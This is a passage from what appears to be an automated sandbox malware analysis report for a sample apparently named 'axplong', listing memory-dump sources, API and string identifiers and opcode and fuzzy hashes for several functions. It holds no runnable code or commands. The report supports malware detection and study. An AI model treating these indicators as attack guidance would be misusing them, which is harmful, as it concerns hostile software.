                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 7a894e48720208e6e6ff806a800784234262dcbaf9162814e3ba678a6ce0470e
                              • Instruction ID: 51b56fed976d158725c5e6212cc09c367dd6612d2803db68c58011a3efb4e2a3
                              • Opcode Fuzzy Hash: 7a894e48720208e6e6ff806a800784234262dcbaf9162814e3ba678a6ce0470e
                              • Instruction Fuzzy Hash: 31E046302416087FCA26BB18E85DEC93B5AEB51350F149814F80846221CF35EDC1CAA0
                              Function 00D1A1C2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
                              • Instruction ID: 62497c080df35baae4e93c34a3d501ebe5f4e446ca462375caf620058a3b9ba0
                              • Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
                              • Instruction Fuzzy Hash: 7DE04672A52228FBCB16DB8CD90498AF2ACEB48B10F154096B501D3240C670DF80C7E0
                              Function 00CE2E80 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
                              • String ID:
                              • API String ID: 57040152-0
                              • Opcode ID: 1409afdc7fbd231194fcef3e568fffa0b068abab455a65fe93ef20b28ffb8ce5
                              • Instruction ID: a1c40827c324da80c01c4204df1dae62921daa6294cb03c94686dea41fe95274
                              • Opcode Fuzzy Hash: 1409afdc7fbd231194fcef3e568fffa0b068abab455a65fe93ef20b28ffb8ce5
                              • Instruction Fuzzy Hash: 3CA102B0A003999FDB11DFA5C9497AAB7B8FF15310F008229E925D7241EB35EB04DB92
                              Function 00D170C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID: _wcsrchr
                              • String ID: .bat$.cmd$.com$.exe
                              • API String ID: 1752292252-4019086052
                              • Opcode ID: a666bf80d2275a28ffe5566f8a8eed6aa6f16cf87db7d0bb422f126cf0d728ec
                              • Instruction ID: 978070b24d1871eb125728a403cfd2d5a60e50b119c571c4f120a49db7e0d0e1
                              • Opcode Fuzzy Hash: a666bf80d2275a28ffe5566f8a8eed6aa6f16cf87db7d0bb422f126cf0d728ec
                              • Instruction Fuzzy Hash: AC01DB37A487263656186419BC036BB17A8DB83BB4B1D002BFD48F73D1DE54DCC241B0
                              Function 00CE6EC0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 185COMMON
                              Download Yara Rule
                              APIs
                              • std::_Xinvalid_argument.LIBCPMT ref: 00CE7065
                              Strings
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID: Xinvalid_argumentstd::_
                              • String ID: $VUUU$invalid stoi argument
                              • API String ID: 909987262-3954507777
                              • Opcode ID: 0321c632bf89ff9c0b176ebba878084ec1515bbb45c3fba5e8ed61fb22fc7b08
                              • Instruction ID: f3f4d00bfed66744de396f85155b0e40e4ee84dafed1cbd27467297bc2383c42
                              • Opcode Fuzzy Hash: 0321c632bf89ff9c0b176ebba878084ec1515bbb45c3fba5e8ed61fb22fc7b08
                              • Instruction Fuzzy Hash: 6351D371644344BFD724EB65DC06FABB7E9AF84B04F400529F744A72D0EBB0E9048BA6
                              Function 00D1C9B0 Relevance: 6.3, APIs: 4, Instructions: 320COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID: _strrchr
                              • String ID:
                              • API String ID: 3213747228-0
                              • Opcode ID: 06cc7c729825ef3726f3ff46e89b4dfb23933aad1dd17f016a943cdb57bb7414
                              • Instruction ID: 78601c5351e3c5668625f2421168f94c63161dc327bf06864e7ab02dbd8d9556
                              • Opcode Fuzzy Hash: 06cc7c729825ef3726f3ff46e89b4dfb23933aad1dd17f016a943cdb57bb7414
                              • Instruction Fuzzy Hash: 5AB15932A64255AFDB11CF28E8417FEBBE6EF55340F1891AAD845DB341DA348D81CBB0
                              Function 00CFBAA2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID: Xtime_diff_to_millis2_xtime_get
                              • String ID:
                              • API String ID: 531285432-0
                              • Opcode ID: 7431b898358c29410d63959076b04841afc7a85e253c37743cc408107bce1cad
                              • Instruction ID: 4428e2348316cfe2f724ea0cae1cc930c0e88cbfef8e99ea0ae8e818ff6ced5f
                              • Opcode Fuzzy Hash: 7431b898358c29410d63959076b04841afc7a85e253c37743cc408107bce1cad
                              • Instruction Fuzzy Hash: 5A213175A0121D9FDF50EFA4DD819BEBBB8EF48714F100065FA01A7251DB30AE01ABA2